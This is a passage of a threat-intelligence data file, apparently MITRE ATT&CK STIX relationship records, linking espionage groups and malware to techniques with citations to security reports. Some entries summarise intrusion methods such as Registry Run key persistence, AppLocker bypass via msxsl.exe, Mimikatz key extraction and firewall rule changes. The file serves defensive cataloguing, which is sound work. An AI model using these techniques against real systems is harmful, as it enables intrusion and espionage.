                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc",
            "type": "relationship",
            "modified": "2020-03-20T22:30:03.938Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--87f40abf-4ee5-4f56-8150-97e0dd823a93",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01",
            "relationship_type": "uses",
            "target_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 DarkHydrus July 2018"
                },
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "description": "(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)",
            "type": "relationship",
            "modified": "2019-04-22T19:23:13.541Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has installed updates and new malware on victims.(Citation: PWC Cloud Hopper April 2017)(Citation: District Court of NY APT10 Indictment December 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-12-17T20:03:35.047Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0e6d61e2-7b61-4b6c-85c7-7779125c1d14",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "(Citation: FireEye APT34 Dec 2017)",
            "type": "relationship",
            "modified": "2020-03-18T20:18:02.836Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0d51acf9-f8df-42e1-aef3-4c86cf5ab17a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "(Citation: NCC Group APT15 Alive and Strong)",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.178Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--28b125cf-ff1a-4798-8b8a-3724d052e848",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) added the registry value ntdll to the Registry Run key to establish persistence.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.627Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) extracted Word documents from a file server on a victim network.(Citation: Symantec Sowbug Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "source_name": "Symantec Sowbug Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "type": "relationship",
            "modified": "2019-03-25T16:57:02.843Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has used Android backdoors capable of enumerating specific files on the infected devices.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                }
            ],
            "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-03-22T20:14:29.737Z",
            "created": "2017-05-31T21:33:27.065Z"
        },
        {
            "id": "relationship--5799308b-e710-40b8-ad64-2b7916673560",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan uses a cmd.exe and batch script to run its payload.(Citation: Unit 42 Playbook Dec 2017) The group has also used macros to execute payloads.(Citation: Talos Seduploader Oct 2017)(Citation: Unit42 Cannon Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "source_name": "Talos Seduploader Oct 2017"
                },
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2021-01-13T21:54:30.306Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) may use [netsh](https://attack.mitre.org/software/S0108) to add local firewall rule exceptions.(Citation: Group-IB Anunak)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf",
                    "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.",
                    "source_name": "Group-IB Anunak"
                }
            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T00:22:40.140Z",
            "created": "2017-05-31T21:33:27.042Z"
        },
        {
            "id": "relationship--dc187ed1-3987-4575-b1af-dc150e4329f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Agent.btz](https://attack.mitre.org/software/S0092) collects the network adapter\u2019s IP and MAC address as well as IP addresses of the network adapter\u2019s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.(Citation: ThreatExpert Agent.btz)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ThreatExpert Agent.btz",
                    "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.",
                    "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"
                }
            ],
            "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-11T17:45:18.406Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to retrieve metadata for files on disk as well as a command to list the current working directory.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T23:58:58.747Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can delete files and directories.(Citation: Palo Alto Networks BBSRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.493Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>CRYPTO::Extract</code> module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.(Citation: Adsecurity Mimikatz Guide)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://adsecurity.org/?page_id=1821",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "source_name": "Adsecurity Mimikatz Guide"
                }
            ],
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
            "type": "relationship",
            "modified": "2019-04-24T23:36:42.321Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "One variant of [CloudDuke](https://attack.mitre.org/software/S0054) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:35:48.705Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3ab61135-89b5-4074-9251-40f41c7f739a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) gathers the IP address and domain from the victim\u2019s machine.(Citation: Unit 42 DarkHydrus July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.439Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command <code>net localgroup administrators</code>.(Citation: Emissary Trojan Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T20:06:58.613Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8c13ef6b-5274-4de0-9fad-531b9c87309e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.(Citation: Talos Cobalt Group July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
            "type": "relationship",
            "modified": "2019-07-26T23:38:34.070Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3a8d8063-3f4d-420d-8c72-2b99077aa487",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                },
                {
                    "source_name": "FireEye APT32 April 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html",
                    "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."
                },
                {
                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2021-03-01T16:51:08.782Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4ad5ed17-dc83-400f-a847-5f14407ce794",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant can use port 127 for communications.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0"
        },
        {
            "id": "relationship--15489699-7ea0-473f-a4cd-5bc9e05e2104",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to disable routing and the Firewall on the victim\u2019s machine.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T00:57:47.307Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) creates a Registry Run key to establish persistence.(Citation: Fidelis INOCNATION)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T01:30:41.537Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html",
                    "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Wolf"
                }
            ],
            "description": "(Citation: FireEye Clandestine Wolf)",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.686Z",
            "created": "2017-05-31T21:33:27.057Z"
        },
        {
            "id": "relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform supports many standard protocols, including HTTP and HTTPS.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.453Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--eb74fa31-121d-4e43-9794-048a901f509a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010).(Citation: Kaspersky Turla)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Turla",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b"
        },
        {
            "id": "relationship--8272bde7-817f-4cb4-b073-67859002d310",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has sent spearphising emails with malicious links to potential victims.(Citation: Unit 42 OopsIE! Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
